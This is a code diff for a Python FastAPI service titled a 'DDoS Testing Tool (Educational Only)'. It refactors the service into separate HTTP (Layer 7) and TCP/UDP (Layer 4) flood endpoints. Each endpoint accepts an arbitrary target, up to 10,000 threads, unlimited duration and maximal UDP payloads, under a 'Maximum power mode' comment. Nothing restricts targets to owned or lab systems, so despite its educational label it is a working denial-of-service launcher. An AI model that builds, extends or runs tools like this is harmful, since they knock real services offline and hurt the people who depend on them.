Update main.py

main.py

@@ -8,26 +8,31 @@ import time
 import logging
 import socket
 import random
-from typing import Optional
 from concurrent.futures import ThreadPoolExecutor
 
 logging.basicConfig(level=logging.INFO)
 logger = logging.getLogger(__name__)
 
-app = FastAPI(title="Layer 7 + Layer 4 DDoS Testing Tool (Educational Only)")
+app = FastAPI(title="DDoS Testing Tool (Educational Only)")
 
 # Global attack control
 attack_active = False
 attack_thread = None
 executor = ThreadPoolExecutor(max_workers=10000)  # Maximum power mode
 
-class AttackConfig(BaseModel):
+class Layer7Config(BaseModel):
     target: str
     port: int = 80
     duration: int = 30  # -1 for unlimited
     threads: int = 100  # -1 for unlimited
-    attack_type: constr(regex='^(layer7|tcp|udp)$') = "layer7"
-    payload_size: int = 1024  # For Layer 4 attacks
+
+class Layer4Config(BaseModel):
+    target: str
+    port: int = 80
+    duration: int = 30  # -1 for unlimited
+    threads: int = 100  # -1 for unlimited
+    protocol: constr(regex='^(tcp|udp)$') = "tcp"
+    payload_size: int = 1024
 
 def generate_payload(size: int) -> bytes:
     """Generate random payload for Layer 4 attacks"""
@@ -71,47 +76,78 @@ def layer4_attack(target_ip: str, port: int, protocol: str, payload_size: int):
         if sock:
             sock.close()
 
-def start_attack(config: AttackConfig):
-    global attack_active, attack_thread
+def start_layer7_attack(config: Layer7Config):
+    global attack_active
     attack_active = True
 
     # Determine thread count
     thread_count = config.threads if config.threads != -1 else 10000
 
-    # Build target URL for Layer 7
-    if config.attack_type == "layer7":
-        protocol = "https" if config.target.startswith("https") else "http"
-        target_url = f"{config.target}:{config.port}"
-        logger.info(f"Starting Layer 7 attack on {target_url} with {thread_count} threads")
+    # Build target URL
+    protocol = "https" if config.target.startswith("https") else "http"
+    target_url = f"{config.target}:{config.port}"
+    logger.info(f"Starting Layer 7 attack on {target_url} with {thread_count} threads")
+
+    for _ in range(thread_count):
+        executor.submit(layer7_attack, target_url)
 
-        for _ in range(thread_count):
-            executor.submit(layer7_attack, target_url)
+    # Handle unlimited duration (-1)
+    if config.duration != -1:
+        time.sleep(config.duration)
+        stop_attack()
     else:
-        # Extract IP from target URL if needed
-        try:
-            target_ip = socket.gethostbyname(config.target.split("//")[-1].split("/")[0])
-        except:
-            raise HTTPException(status_code=400, detail="Invalid target URL")
+        logger.info("Layer 7 attack running indefinitely until manually stopped")
 
-        logger.info(f"Starting {config.attack_type.upper()} attack on {target_ip}:{config.port} with {thread_count} threads")
+def start_layer4_attack(config: Layer4Config):
+    global attack_active
+    attack_active = True
 
-        for _ in range(thread_count):
-            executor.submit(layer4_attack, target_ip, config.port, config.attack_type, config.payload_size)
+    # Determine thread count
+    thread_count = config.threads if config.threads != -1 else 10000
+
+    # Extract IP from target URL
+    try:
+        target_ip = socket.gethostbyname(config.target.split("//")[-1].split("/")[0])
+    except:
+        raise HTTPException(status_code=400, detail="Invalid target URL")
+
+    logger.info(f"Starting {config.protocol.upper()} attack on {target_ip}:{config.port} with {thread_count} threads")
+
+    for _ in range(thread_count):
+        executor.submit(layer4_attack, target_ip, config.port, config.protocol, config.payload_size)
 
     # Handle unlimited duration (-1)
     if config.duration != -1:
         time.sleep(config.duration)
         stop_attack()
     else:
-        logger.info("Attack running indefinitely until manually stopped")
+        logger.info(f"{config.protocol.upper()} attack running indefinitely until manually stopped")
 
 def stop_attack():
     global attack_active
     attack_active = False
     logger.info("Attack stopped.")
 
-@app.post("/attack")
-def launch_attack(config: AttackConfig):
+@app.post("/layer7/attack")
+def launch_layer7_attack(config: Layer7Config):
+    global attack_thread
+    if attack_thread and attack_thread.is_alive():
+        raise HTTPException(status_code=400, detail="Attack already in progress")
+
+    # Validate thread count
+    if config.threads != -1 and config.threads > 10000:
+        raise HTTPException(status_code=400, detail="Max 10,000 threads allowed (use -1 for unlimited)")
+
+    # Validate duration
+    if config.duration != -1 and config.duration > 5000:
+        raise HTTPException(status_code=400, detail="Max duration 5000 seconds (use -1 for unlimited)")
+
+    attack_thread = threading.Thread(target=start_layer7_attack, args=(config,), daemon=True)
+    attack_thread.start()
+    return {"status": "layer7_attack_started", "config": config}
+
+@app.post("/layer4/attack")
+def launch_layer4_attack(config: Layer4Config):
     global attack_thread
     if attack_thread and attack_thread.is_alive():
         raise HTTPException(status_code=400, detail="Attack already in progress")
@@ -128,9 +164,9 @@ def launch_attack(config: AttackConfig):
     if config.payload_size > 65507:
         raise HTTPException(status_code=400, detail="Max payload size is 65507 bytes")
 
-    attack_thread = threading.Thread(target=start_attack, args=(config,), daemon=True)
+    attack_thread = threading.Thread(target=start_layer4_attack, args=(config,), daemon=True)
     attack_thread.start()
-    return {"status": "attack_started", "config": config}
+    return {"status": f"{config.protocol}_attack_started", "config": config}
 
 @app.post("/stop")
 def stop():